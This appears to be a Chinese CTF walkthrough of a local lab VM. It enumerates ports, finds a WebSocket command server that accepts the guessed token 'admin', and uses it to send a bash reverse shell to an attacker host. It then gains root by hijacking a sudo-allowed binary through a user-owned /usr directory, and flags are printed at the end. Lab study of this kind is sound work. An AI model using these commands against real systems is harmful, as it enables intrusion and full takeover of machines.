一、信息收集

网络发现

使用arp-scan扫描本地网络，发现目标主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.179 08:00:27:77:ba:35       PCS Systemtechnik GmbH
...
```

目标IP：192.168.205.179

端口扫描

对目标进行全端口扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.179
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 19:01 CST
Nmap scan report for 192.168.205.179
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8765/tcp open  ultraseek-http
MAC Address: 08:00:27:77:BA:35 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

发现开放端口：

- 22/tcp：SSH服务
- 80/tcp：HTTP服务
- 8765/tcp：未知服务

二、服务枚举

HTTP服务探测

测试80端口HTTP服务：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.179
index
```

测试8765端口服务：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.179:8765
Failed to open a WebSocket connection: missing Connection header.

You cannot access a WebSocket server directly with a browser. You need a
WebSocket client.
```

发现8765端口运行的是WebSocket服务。

WebSocket服务分析

WebSocket是一种在单个TCP连接上进行全双工通信的协议，常用于实时通信应用。错误信息提示需要使用WebSocket客户端连接。

> [!Tip]
>
> https://book.hacktricks.wiki/en/pentesting-web/websocket-attacks.html?highlight=websoca#linux-console
>
> https://zh.wikipedia.org/wiki/WebSocket

三、WebSocket攻击

建立WebSocket连接

使用websockets工具连接到WebSocket服务：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ websockets ws://192.168.205.179:8765
Connected to ws://192.168.205.179:8765.
< {"type": "system", "message": "Connected to command server. Send commands use
JSON"}
```

服务器提示这是一个命令服务器，需要使用JSON格式发送命令。

JSON命令测试

尝试执行id命令：

```
> {"command": "id"}
< {"type": "error", "message": "Invalid token. Access denied."}
```

提示需要token认证。

Token绕过

尝试使用常见的token值：

```
> {"token": "admin", "command": "id"}
< {"type": "result", "command": "id", "output": "uid=1000(caidao)
gid=1000(caidao) groups=1000(caidao)\n"}
```

成功！使用"admin"作为token可以绕过认证，获得命令执行权限。

四、反向Shell

获取初始Shell

在Kali上启动监听：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
```

通过WebSocket发送反向Shell命令：

```
> {"token": "admin", "command": "bash -c '/bin/bash -i >&
/dev/tcp/192.168.205.128/8888 0>&1'"}
```

成功获得反向连接：

```
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.179] 60100
bash: cannot set terminal process group (350): Inappropriate ioctl for device
bash: no job control in this shell
caidao@Wushu:/root$ id
uid=1000(caidao) gid=1000(caidao) groups=1000(caidao)
```

Shell稳定化

使用标准方法稳定化Shell：

```
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

五、权限提升

用户信息收集

查看当前用户主目录：

```
caidao@Wushu:~$ ls -al
total 864
drwxr-xr-x 3 caidao caidao   4096 Aug 18 10:02 .
drwxr-xr-x 3 root   root     4096 Aug 18 09:33 ..
lrwxrwxrwx 1 root   root        9 Aug 18 09:45 .bash_history -> /dev/null
...
-rw-r--r-- 1 caidao caidao 848400 Feb 19  2024 lin.sh
-rw-r--r-- 1 root   root       44 Aug 18 09:33 user.txt
...
```

Sudo权限检查

检查sudo权限：

```
caidao@Wushu:~$ sudo -l
Matching Defaults entries for caidao on Wushu:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User caidao may run the following commands on Wushu:
    (ALL : ALL) NOPASSWD: /usr/bin/2048
```

发现可以无密码执行/usr/bin/2048。

```
caidao@Wushu:~$ ls -al /usr/bin/2048
lrwxrwxrwx 1 root root 15 Aug 18 09:58 /usr/bin/2048 -> /usr/games/2048
caidao@Wushu:~$ ls -al /usr/games/2048
-rwxr-xr-x 1 root root 18648 Jan  9  2021 /usr/games/2048
```

看到修改时间是2021年的，暂时没兴趣了（这个之前群里玩过）。

关键发现

查找用户拥有的文件时发现异常：

```
caidao@Wushu:~$ find / -user $(whoami) ! -path '/proc/*' ! -path '/sys/*' ! -
path '/run/*' 2>/dev/null
/dev/pts/0
/usr
...
```

关键发现：/usr目录属于当前用户caidao！有说法:)

验证目录权限：

```
caidao@Wushu:~$ ls -al /usr
total 92
drwxr-xr-x  14 caidao caidao  4096 Aug 18 10:03 .
drwxr-xr-x  18 root   root    4096 Mar 18 20:37 ..
drwxr-xr-x   2 root   root   28672 Aug 18 09:58 bin
...
```

确认/usr目录的所有者是caidao用户，这是一个严重的权限配置错误。

六、利用目录权限提权

权限提升策略

由于拥有/usr目录的写权限，可以替换/usr/bin/2048文件来获取root权限：

1. 将/usr/bin目录重命名为/usr/1目录
2. 创建恶意的2048程序
3. 通过sudo执行获取root权限

执行提权

```
# 备份原始bin目录
caidao@wushu:~$ mv /usr/bin/ /usr/1

# 创建新的bin目录
caidao@wushu:~$ /usr/1/mkdir /usr/bin

# 创建恶意2048程序
caidao@wushu:~$ /usr/1/nano /usr/bin/2048
caidao@wushu:~$ /usr/1/chmod +x /usr/bin/2048
caidao@wushu:~$ /usr/1/cat /usr/bin/2048
#!/usr/1/bash
/usr/1/chmod +s /usr/1/bash

# 执行sudo命令触发setuid
caidao@wushu:~$ /usr/1/sudo /usr/bin/2048

# 验证bash获得setuid权限
caidao@wushu:~$ /usr/1/ls -al /usr/1/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /usr/1/bash

# 使用-p参数保持特权
caidao@wushu:~$ /usr/1/bash -p
```

获取Flag

成功提权后，恢复系统并获取flag：

```
#恢复系统
bash-5.0# /usr/1/rm -rf /usr/bin/
bash-5.0# /usr/1/mv /usr/1/ /usr/bin/

# 获取flag
bash-5.0# id
uid=1000(caidao) gid=1000(caidao) euid=0(root) egid=0(root)
groups=0(root),1000(caidao)
bash-5.0# cat /root/root.txt /home/caidao/user.txt
flag{root-bcb44f5672d98ad8a966ed474335716d}
flag{user-4141b1d21f4cbcfcfe214d474e9fb6b2}
```